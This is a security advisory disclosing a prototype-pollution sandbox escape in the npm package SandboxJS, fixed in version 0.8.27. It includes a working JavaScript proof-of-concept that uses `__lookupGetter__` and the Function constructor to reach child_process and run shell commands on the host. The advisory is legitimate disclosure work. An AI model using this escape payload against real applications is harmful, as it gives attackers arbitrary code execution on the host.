GHSA-9p4w-fq8m-2hp7
SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @nyariv/sandboxjs | < 0.8.27 | 0.8.27 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
### Details
https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
### PoC
```js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();
```
### Impact
Prototype Pollution -> RCE
References
External links from the advisory. They lead to third-party sites.
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
- https://github.com/nyariv/SandboxJS
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398